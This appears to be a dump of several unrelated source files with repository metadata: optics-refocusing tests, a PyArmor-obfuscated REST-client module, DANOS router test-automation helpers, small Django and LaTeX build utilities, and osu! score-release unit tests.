5.3], cmap=plt.colormaps['rainbow']) sp.draw_colorbar() fname = 'healsparse_two.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err)
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8,413
py
Python
tests/test_2d_autofocus_legacy.py
paulmueller/nrefocus
4405513fd4cd4340b507be0ba0e33f9dfc556249
[ "BSD-3-Clause" ]
6
2017-04-10T08:24:39.000Z
2022-02-09T02:20:01.000Z
tests/test_2d_autofocus_legacy.py
RI-imaging/nrefocus
18d520ffa3d13a31255fdee30d48258d61adfb6b
[ "BSD-3-Clause" ]
12
2017-04-10T08:30:48.000Z
2021-06-21T11:20:08.000Z
tests/test_2d_autofocus_legacy.py
paulmueller/nrefocus
4405513fd4cd4340b507be0ba0e33f9dfc556249
[ "BSD-3-Clause" ]
2
2020-10-04T02:21:48.000Z
2022-01-13T17:14:08.000Z
"""Test 2D autorefocusing of legacy minimizer""" import numpy as np import nrefocus import pytest from test_helper import load_cell @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_cell_helmholtz_average_gradient(): rf = nrefocus.iface.RefocusNumpy(field=load_cell("HL60_field.zip"), wavelength=647e-9, pixel_size=0.139e-6, kernel="helmholtz", ) # attempt to autofocus with standard arguments d = rf.autofocus(metric="average gradient", minimizer="legacy", interval=(-5e-6, 5e-6)) assert np.allclose(d, -8.69809203142537e-07, atol=0) nfield = rf.propagate(d) assert np.allclose(nfield[10, 10], 1.045874817165857-0.020467790949516538j, atol=0) @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_helmholtz_average_gradient(): field = 1*np.exp(1j*np.linspace(.1, .5, 256)).reshape(16, 16) d = 5 nm = 1.533 res = 8.25 method = "helmholtz" # first propagate the field rfield = nrefocus.refocus(field=field, d=d, nm=nm, res=res, method=method) # then try to refocus it d, nfield = nrefocus.autofocus( field=rfield, nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric="average gradient", minimizer="legacy", padding=True, num_cpus=1, ) assert np.allclose(d, -3.263187429854096) assert np.allclose(0, np.angle(nfield/rfield), atol=.047) assert np.allclose(1, np.abs(nfield/rfield), atol=.081) @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_helmholtz_average_gradient_zero(): field = 1*np.exp(1j*np.linspace(.1, .5, 256)).reshape(16, 16) d = 0 nm = 1.533 res = 8.25 method = "helmholtz" # first propagate the field rfield = nrefocus.refocus(field=field, d=d, nm=nm, res=res, method=method, padding=False ) # then try to refocus it _, nfield = nrefocus.autofocus( field=rfield, nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric="average gradient", minimizer="legacy", padding=False, # without padding, result must be exact num_cpus=1, ) assert np.allclose(nfield.flatten().view(float), rfield.flatten().view(float)) @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_fresnel_average_gradient(): field = 1*np.exp(1j*np.linspace(.1, .5, 256)).reshape(16, 16) d = 5 nm = 1.533 res = 8.25 method = "fresnel" # first propagate the field rfield = nrefocus.refocus(field=field, d=d, nm=nm, res=res, method=method) # then try to refocus it _, nfield = nrefocus.autofocus( field=rfield, nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric="average gradient", minimizer="legacy", padding=True, num_cpus=1) assert np.allclose(0, np.angle(nfield/rfield), atol=.125) assert np.allclose(1, np.abs(nfield/rfield), atol=.147) @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_return_grid_field(): rf = nrefocus.iface.RefocusNumpy(field=load_cell("HL60_field.zip"), wavelength=647e-9, pixel_size=0.139e-6, kernel="helmholtz", ) # attempt to autofocus with standard arguments d, (dgrid, mgrid), nfield = rf.autofocus( metric="average gradient", minimizer="legacy", interval=(-5e-6, 5e-6), ret_grid=True, ret_field=True, ) idx_metric_min = np.argmin(mgrid) idx_distance = np.argmin(np.abs(dgrid - d)) assert idx_metric_min == idx_distance @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_stack_same_dist_nopadding(): d = 5.5 nm = 1.5133 res = 6.25 method = "helmholtz" size = 10 metric = "average gradient" stack = 1*np.exp(1j*np.linspace(.1, .5, size**3)).reshape(size, size, size) rfield = nrefocus.refocus_stack(fieldstack=stack, d=d, nm=nm, res=res, method=method) ds, nfield = nrefocus.autofocus_stack( fieldstack=rfield.copy(), nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric=metric, minimizer="legacy", padding=False, same_dist=False, num_cpus=1, copy=True) # reconstruction distance is same in above case ds_same, nfield_same = nrefocus.autofocus_stack( fieldstack=rfield.copy(), nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric=metric, minimizer="legacy", padding=False, same_dist=True, num_cpus=1, copy=True) assert np.allclose(np.mean(ds), -4.867283950617284) assert np.all(np.array(ds) == ds_same) assert np.all(np.array(ds) == np.mean(ds)) assert np.allclose(nfield.flatten().view(float), nfield_same.flatten().view(float), atol=.000524) @pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.' 'LegacyDeprecationWarning') def test_2d_autofocus_stack_same_dist(): d = 5.5 nm = 1.5133 res = 6.25 method = "helmholtz" size = 10 metric = "average gradient" stack = 1*np.exp(1j*np.linspace(.1, .5, size**3)).reshape(size, size, size) rfield = nrefocus.refocus_stack(fieldstack=stack, d=d, nm=nm, res=res, method=method, padding=True) ds, nfield = nrefocus.autofocus_stack( fieldstack=1*rfield, nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric=metric, minimizer="legacy", padding=True, same_dist=False, num_cpus=1, copy=True) assert np.allclose(np.array(rfield).flatten().view(float), np.array(nfield).flatten().view(float), atol=.013) # reconstruction distance is same in above case ds_same, nfield_same = nrefocus.autofocus_stack( fieldstack=1*rfield, nm=nm, res=res, ival=(-1.5*d, -0.5*d), roi=None, metric=metric, minimizer="legacy", padding=True, same_dist=True, num_cpus=1, copy=True) assert np.allclose(nfield[0][8][8], 0.9900406072155992+0.1341183159587472j) assert np.allclose(nfield[0][2][8], 0.9947454248517085+0.11020637810883656j) assert np.allclose(np.mean(ds), -4.8240740740740735) assert np.allclose(np.array(ds), np.mean(ds)) assert np.allclose(np.array(ds), ds_same) assert np.allclose(nfield, nfield_same) if __name__ == "__main__": # Run all tests loc = locals() for key in list(loc.keys()): if key.startswith("test_") and hasattr(loc[key], "__call__"): loc[key]()
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7
29298336dfe8f6bc979a549fc54bfc54ec6e4487
21,015
py
Python
Python/windwardrestapi/Model/VariableValue.py
windward-studios/Windward-REST-version-2-Clients
8fd467e6f4ece6fcc435609ffb23448d07af3131
[ "MIT" ]
null
null
null
Python/windwardrestapi/Model/VariableValue.py
windward-studios/Windward-REST-version-2-Clients
8fd467e6f4ece6fcc435609ffb23448d07af3131
[ "MIT" ]
1
2020-10-12T20:32:05.000Z
2020-10-12T20:38:04.000Z
Python/windwardrestapi/Model/VariableValue.py
windward-studios/Windward-REST-version-2-Clients
8fd467e6f4ece6fcc435609ffb23448d07af3131
[ "MIT" ]
null
null
null
__pyarmor__(__name__, __file__, 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b9\x75\xa9\x6a\x4d\x62\xf1\x01\xe8\x5a\x92\xe9\xb2\x78\xd3\x13\xcc\x10\xd1\x20\x11\x51\x31\xdb\xb7\x40\xce\x33\x3d\xd6\x62\xd9\x32\x97\x8b\x56\x4b\xee\xc6\xeb\x2f\x1d\xdb\x59\x5a\x41\x5e\xb7\xb2\x7b\x29\x00\x66\x15\xb4\x2b\x87\x52\x1f\x60\xc9\x0d\x5f\x87\x63\x15\x83\x51\xb5\x7f\x63\xc9\x56\x83\x32\x64\x0b\x04\x7c\xd3\xe8\x1f\xa7\xf4\xfb\xca\x4f\xd0\x93\x3b\x7d\x76\x0b\x0e\x93\x3a\xb0\xf2\xfd\x71\xe0\xeb\xc2\x35\xc8\xf6\xd5\xaf\xee\x1e\xfd\x85\x63\x55\xba\xd3\x9e\xd7\x37\x4b\x91\xec\x41\x50\x25\x8a\x67\x17\x1a\x84\x6f\x28\xf0\x76\x72\xfd\xcb\x1c\x75\xe8\xbc\x90\x94\x5a\x4c\x6a\xd6\x7c\x3e\x0f\x6f\x21\xeb\x5d\x28\x64\x71\x04\x01\x9f\x95\xf6\x22\xab\x87\xbb\x32\x35\x53\x96\xde\x80\x2b\xe1\xaa\xc8\x86\x87\x93\x46\x64\x8d\x24\x0e\xd1\x8f\x7b\x2e\x68\x40\xda\xee\x69\xbb\xb9\x64\x58\xf0\x8b\x04\x77\x27\xd6\xca\x9c\xfc\x8c\x6f\x52\x86\x8c\x8a\xbe\xd6\x56\xa6\x85\x0a\x9b\x3b\x12\x40\xe7\xbf\x18\x65\x1b\x6b\xee\x8e\x01\xf4\x3b\xdf\xfd\x18\xb8\x9b\x41\xcd\x00\xd0\x86\xe2\xdf', 2)
21,015
21,015
0.749988
5,249
21,015
3.000381
0.049724
0.008762
0.009143
0.008381
0.00381
0.002857
0.002857
0
0
0
0
0.312869
0.000143
21,015
1
21,015
21,015
0.436655
0
0
0
0
1
0.998097
0.998097
0
1
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
1
1
1
null
1
0
0
0
0
0
1
0
0
0
0
0
0
10
2936f6b9ce3b201818db890c39ed4ad5a989b2d7
246
py
Python
src/utils/tensorboard.py
xmuyzz/IVContrast
f3100e54f1808e1a796acd97ef5d23d0a2fd4f6c
[ "MIT" ]
3
2022-02-23T09:05:45.000Z
2022-02-23T20:18:18.000Z
src/utils/tensorboard.py
xmuyzz/IVContrast
f3100e54f1808e1a796acd97ef5d23d0a2fd4f6c
[ "MIT" ]
null
null
null
src/utils/tensorboard.py
xmuyzz/IVContrast
f3100e54f1808e1a796acd97ef5d23d0a2fd4f6c
[ "MIT" ]
null
null
null
#log_path ='/media/bhkann/HN_RES1/HN_CONTRAST/log/train/events.out.tfevents.1624041416.bhkann-hpc1.862300.3087.v2' #tensorboard --logdir='/media/bhkann/HN_RES1/HN_CONTRAST/log/train/events.out.tfevents.1624041416.bhkann-hpc1.862300.3087.v2'
30.75
125
0.800813
38
246
5.052632
0.473684
0.114583
0.135417
0.177083
0.875
0.875
0.875
0.875
0.875
0.875
0
0.194093
0.036585
246
7
126
35.142857
0.616034
0.963415
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
10
29430b40e2df289fd7a5794dfde6c12e49107367
36
py
Python
python/niveau1/3-CalculsEtDecouverteDesVariables/3.py
ThomasProg/France-IOI
03ea502e03f686d74ecf31a17273aded7b8e8a1f
[ "MIT" ]
2
2022-02-13T13:35:13.000Z
2022-03-31T21:02:11.000Z
python/niveau1/3-CalculsEtDecouverteDesVariables/3.py
ThomasProg/France-IOI
03ea502e03f686d74ecf31a17273aded7b8e8a1f
[ "MIT" ]
null
null
null
python/niveau1/3-CalculsEtDecouverteDesVariables/3.py
ThomasProg/France-IOI
03ea502e03f686d74ecf31a17273aded7b8e8a1f
[ "MIT" ]
1
2020-11-15T15:21:24.000Z
2020-11-15T15:21:24.000Z
print(((25 + 30 + 27 + 22) - 8) * 3)
36
36
0.416667
7
36
2.142857
1
0
0
0
0
0
0
0
0
0
0
0.384615
0.277778
36
1
36
36
0.192308
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
4647775b006014dd2131a7e9cdc55a28b1e53c0b
4,260
py
Python
Test_Automation/library/danos_cli.py
dineshbhattahm/tests
7ad7811710c65771b045f2210b3b7e29200e9a45
[ "BSD-3-Clause" ]
null
null
null
Test_Automation/library/danos_cli.py
dineshbhattahm/tests
7ad7811710c65771b045f2210b3b7e29200e9a45
[ "BSD-3-Clause" ]
2
2020-07-07T11:45:20.000Z
2022-03-11T16:47:02.000Z
Test_Automation/library/danos_cli.py
dineshbhattahm/tests
7ad7811710c65771b045f2210b3b7e29200e9a45
[ "BSD-3-Clause" ]
3
2020-05-22T12:54:51.000Z
2022-03-24T23:06:05.000Z
#!/usr/bin/python3 # * Copyright (c) 2020-2021, Happiest Minds Technologies Limited Intellectual Property. All rights reserved. # * # * SPDX-License-Identifier: LGPL-2.1-only import time import vymgmt def config_set(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() handle.set(cmd) handle.commit() handle.save() handle.exit() handle.logout() def config_show_service(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() out = handle.run_conf_mode_command(cmd) handle.exit() handle.logout() output = out.split("\n") output2 = ''.join([str(elem) for elem in output]) return output2 def config_delete(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() handle.delete(cmd) handle.commit() handle.save() handle.exit() handle.logout() def show_command(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() out = handle.run_op_mode_command(cmd) handle.exit() handle.logout() output = out.split("\n") #output2 = ''.join([str(elem) for elem in output]) return output def config_ipsecvpn(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() for line in cmd: print(line) handle.set(line) handle.commit() handle.save() handle.exit() handle.logout() def config_mplsldp(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() for line in cmd: print(line) handle.set(line) handle.commit() handle.save() handle.exit() handle.logout() def config(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() for line in cmd: print(line) handle.set(line) handle.commit() handle.save() handle.exit() handle.logout() def apply_rule(ip, user, ps, iface, rule, cmd): command = cmd.replace('INTERFACE',iface).replace('RULE',rule) handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() handle.set(command) handle.commit() handle.save() handle.exit() handle.logout() def delete_rule(ip, user, ps, iface, rule, cmd): command = cmd.replace('INTERFACE',iface).replace('RULE',rule) handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() handle.delete(command) handle.commit() handle.save() handle.exit() handle.logout() def config_show_ipsecvpn(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() out = handle.run_conf_mode_command(cmd) handle.exit() handle.logout() output = out.split("\n") return output def config_show_mplsldp(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() out = handle.run_conf_mode_command(cmd) handle.exit() handle.logout() output = out.split("\n") return output def config_show(ip, user, ps, cmd): handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.configure() out = handle.run_conf_mode_command(cmd) handle.exit() handle.logout() output = out.split("\n") return output def sendping(ip, user, ps, vpnip): c1='sudo killall -9 ping' cmd='sudo ping -c30 ' + vpnip + ' > /dev/null 2>&1 &' handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() handle.run_op_mode_command(c1) out = handle.run_op_mode_command(cmd) handle.exit() handle.logout() def capture_traffic(ip, user, ps, iface): cmd='sudo timeout 5 tcpdump -i ' + iface handle = vymgmt.Router(ip, user, password=ps, port=22) handle.login() out = handle.run_op_mode_command(cmd) handle.exit() handle.logout() output = out.split("\n") return output def pr(st): for line in st: print(line)
26.625
108
0.641549
582
4,260
4.628866
0.154639
0.062361
0.041574
0.103935
0.859317
0.852264
0.852264
0.852264
0.852264
0.852264
0
0.014925
0.213615
4,260
159
109
26.792453
0.789254
0.050704
0
0.798561
0
0
0.029215
0
0
0
0
0
0
1
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8
4677def8d311e70c75e6d392fdb04cddf6cb9e00
1,061
py
Python
ninjaopenfoam/pdflatex.py
hertzsprung/ninjaopenfoam
bd33635c5a34c80728255f99aaaac0b2d208f916
[ "MIT" ]
null
null
null
ninjaopenfoam/pdflatex.py
hertzsprung/ninjaopenfoam
bd33635c5a34c80728255f99aaaac0b2d208f916
[ "MIT" ]
null
null
null
ninjaopenfoam/pdflatex.py
hertzsprung/ninjaopenfoam
bd33635c5a34c80728255f99aaaac0b2d208f916
[ "MIT" ]
null
null
null
import os class PDFLaTeX: def __init__(self, name, output, document, components=[]): self.name = name self.output = os.path.join('$builddir', output + '.pdf') self.document = document + '.tex' self.components = components def write(self, generator): generator.w.build( self.output, 'pdflatex', self.document, implicit=self.components) def outputs(self): return [self.output] def __str__(self): return self.name class PDFLaTeXFigure: def __init__(self, name, output, figure, components=[]): self.name = name self.output = os.path.join('$builddir', output + '.pdf') self.figure = figure + '.tex' self.components = components def write(self, generator): generator.w.build( self.output, 'pdflatex-figure', self.figure, implicit=self.components) def outputs(self): return [self.output] def __str__(self): return self.name
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8
d3d8ac871a055f2b9678b68191695713432c2392
85
py
Python
navutils/context_processors.py
ohrstrom/django-navutils
0d64f1f147b03888f8db1c95412f73fd94ba8454
[ "BSD-3-Clause" ]
42
2015-05-21T00:09:30.000Z
2020-09-25T00:53:06.000Z
navutils/context_processors.py
ohrstrom/django-navutils
0d64f1f147b03888f8db1c95412f73fd94ba8454
[ "BSD-3-Clause" ]
12
2015-09-29T10:39:49.000Z
2020-10-16T11:08:59.000Z
navutils/context_processors.py
ohrstrom/django-navutils
0d64f1f147b03888f8db1c95412f73fd94ba8454
[ "BSD-3-Clause" ]
11
2015-05-27T21:15:46.000Z
2020-06-21T01:14:25.000Z
from . import menu def menus(*args, **kwargs): return {'menus': menu.registry}
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7
3114113cf473cf521b9678941d0826267f15149c
239
py
Python
django-olwidget/olwidget/__init__.py
WildlifeConservationSocietyCI/olwidget
13be6b4ceb04369c6fa278525ab273722d0b96f0
[ "BSD-3-Clause" ]
1
2018-09-05T13:38:51.000Z
2018-09-05T13:38:51.000Z
django-olwidget/olwidget/__init__.py
WildlifeConservationSocietyCI/olwidget
13be6b4ceb04369c6fa278525ab273722d0b96f0
[ "BSD-3-Clause" ]
null
null
null
django-olwidget/olwidget/__init__.py
WildlifeConservationSocietyCI/olwidget
13be6b4ceb04369c6fa278525ab273722d0b96f0
[ "BSD-3-Clause" ]
null
null
null
import copy import django.utils import json import sys sys.modules["django.utils"].copycompat = copy sys.modules["django.utils.copycompat"] = copy sys.modules["django.utils"].simplejson = json sys.modules["django.utils.simplejson"] = json
26.555556
45
0.778243
33
239
5.636364
0.272727
0.295699
0.344086
0.451613
0.752688
0.752688
0.489247
0.489247
0.489247
0.489247
0
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239
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0
0
7
3115e2ea27653d7bf04342dc5fc67b2e41d859d7
23,149
py
Python
unit_tests/test_std_score_data_release.py
abraker-osu/osu_analyzer
f930b1e75d1c4c973dfa49fdab2afedb2a432e31
[ "MIT" ]
null
null
null
unit_tests/test_std_score_data_release.py
abraker-osu/osu_analyzer
f930b1e75d1c4c973dfa49fdab2afedb2a432e31
[ "MIT" ]
null
null
null
unit_tests/test_std_score_data_release.py
abraker-osu/osu_analyzer
f930b1e75d1c4c973dfa49fdab2afedb2a432e31
[ "MIT" ]
null
null
null
import unittest import pandas as pd from analysis.std.map_data import StdMapData from analysis.std.score_data import StdScoreData class TestStdScoreDataRelease(unittest.TestCase): @classmethod def setUpClass(cls): map_data = [ pd.DataFrame( [ [ 100, 0, 0, StdMapData.TYPE_PRESS, StdMapData.TYPE_SLIDER ], [ 350, 100, 0, StdMapData.TYPE_HOLD, StdMapData.TYPE_SLIDER ], [ 600, 200, 0, StdMapData.TYPE_HOLD, StdMapData.TYPE_SLIDER ], [ 750, 300, 0, StdMapData.TYPE_RELEASE, StdMapData.TYPE_SLIDER ], ], columns=['time', 'x', 'y', 'type', 'object']), pd.DataFrame( [ [ 1000, 500, 500, StdMapData.TYPE_PRESS, StdMapData.TYPE_CIRCLE ], [ 1001, 500, 500, StdMapData.TYPE_RELEASE, StdMapData.TYPE_CIRCLE ], ], columns=['time', 'x', 'y', 'type', 'object']), pd.DataFrame( [ [ 2000, 300, 300, StdMapData.TYPE_PRESS, StdMapData.TYPE_CIRCLE ], [ 2001, 300, 300, StdMapData.TYPE_RELEASE, StdMapData.TYPE_CIRCLE ], ], columns=['time', 'x', 'y', 'type', 'object']), ] cls.map_data = pd.concat(map_data, axis=0, keys=range(len(map_data)), names=[ 'hitobject', 'aimpoint' ]) @classmethod def tearDown(cls): pass def test_slider_start_release_misaim(self): settings = StdScoreData.Settings() # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: Blank area (1000, 1000) # Scoring: Awaiting press at slider start (100 ms @ (0, 0)) # Behavior: # Scorepoint awaits PRESS -> NOP # -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data, ms, 1000, 1000) offset = ms - self.map_data.iloc[0]['time'] self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') def test_slider_start_release_nomisaim(self): settings = StdScoreData.Settings() # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At slider start (0, 0) # Scoring: Awaiting press at slider start (100 ms @ (0, 0)) # Behavior: # Scorepoint awaits PRESS -> NOP # -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data, ms, 0, 0) offset = ms - self.map_data.iloc[0]['time'] self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') def test_slider_aimpoint_nomisaim_release_recoverable(self): settings = StdScoreData.Settings() settings.recoverable_release = True # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At first slider aimpoint (100, 0) # Scoring: Awaiting hold at slider aimpoint (350 ms @ (100, 0)) # Behavior: # Scorepoint awaits HOLD -> NOP # -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[1:], ms, 100, 0) offset = ms - self.map_data.iloc[1]['time'] self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') def test_slider_aimpoint_release__norecoverable(self): settings = StdScoreData.Settings() settings.recoverable_release = False # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At first slider aimpoint (100, 0) # Scoring: Awaiting hold at slider aimpoint (350 ms @ (100, 0)) # Behavior: # Release early -> MISS # Release late -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[1:], ms, 100, 0) offset = ms - self.map_data.iloc[1]['time'] if offset < 0: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') else: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') StdScoreData.recoverable_release = True def test_slider_end_release_misaim__range_window_miss(self): settings = StdScoreData.Settings() settings.release_range = True settings.release_window = True settings.release_miss = True # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: Blank area (1000, 1000) # Scoring: Awaiting release at slider end (750 ms @ (300, 0)) # Behavior: # Scorepoint awaits release -> ok # Cursor is NOT within press scorepoint range -> NOP # -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 1000, 1000) offset = ms - self.map_data.iloc[3]['time'] self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') def test_slider_end_release_misaim__norange_window_miss(self): settings = StdScoreData.Settings() settings.release_range = False settings.release_window = True settings.release_miss = True # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: Blank area (1000, 1000) # Scoring: Awaiting release at slider end (750 ms @ (300, 0)) # Behavior: # Scorepoint awaits release -> ok # Cursor is NOT within press scorepoint range -> NOP # -> NOP for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 1000, 1000) offset = ms - self.map_data.iloc[3]['time'] if offset <= -settings.neg_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') elif -settings.neg_rel_range < offset <= settings.pos_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms') elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') elif settings.pos_rel_miss_range < offset: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') else: self.fail('Testing error!') def test_slider_end_release_nomisaim__range_window_miss(self): settings = StdScoreData.Settings() settings.release_range = True settings.release_window = True settings.release_miss = True # Set hitwindow ranges to what these tests have been written for settings.pos_hit_range = 300 # ms point of late hit window settings.neg_hit_range = 300 # ms point of early hit window settings.pos_hit_miss_range = 450 # ms point of late miss window settings.neg_hit_miss_range = 450 # ms point of early miss window settings.pos_rel_range = 500 # ms point of late release window settings.neg_rel_range = 500 # ms point of early release window settings.pos_rel_miss_range = 1000 # ms point of late release window settings.neg_rel_miss_range = 1000 # ms point of early release window # Time: 0 ms -> 3000 ms # Location: At slider release (300, 0) # Scoring: Awaiting release at slider end (750 ms @ (300, 0)) for ms in range(0, 3000): score_data = {} adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0) offset = ms - self.map_data.iloc[3]['time'] if offset <= -settings.neg_rel_miss_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms') self.assertEqual(len(score_data), 0, f'Offset: {offset} ms') elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms') elif -settings.neg_rel_range < offset <= settings.pos_rel_range: self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms') self.assertEqual(score_data[0][6], 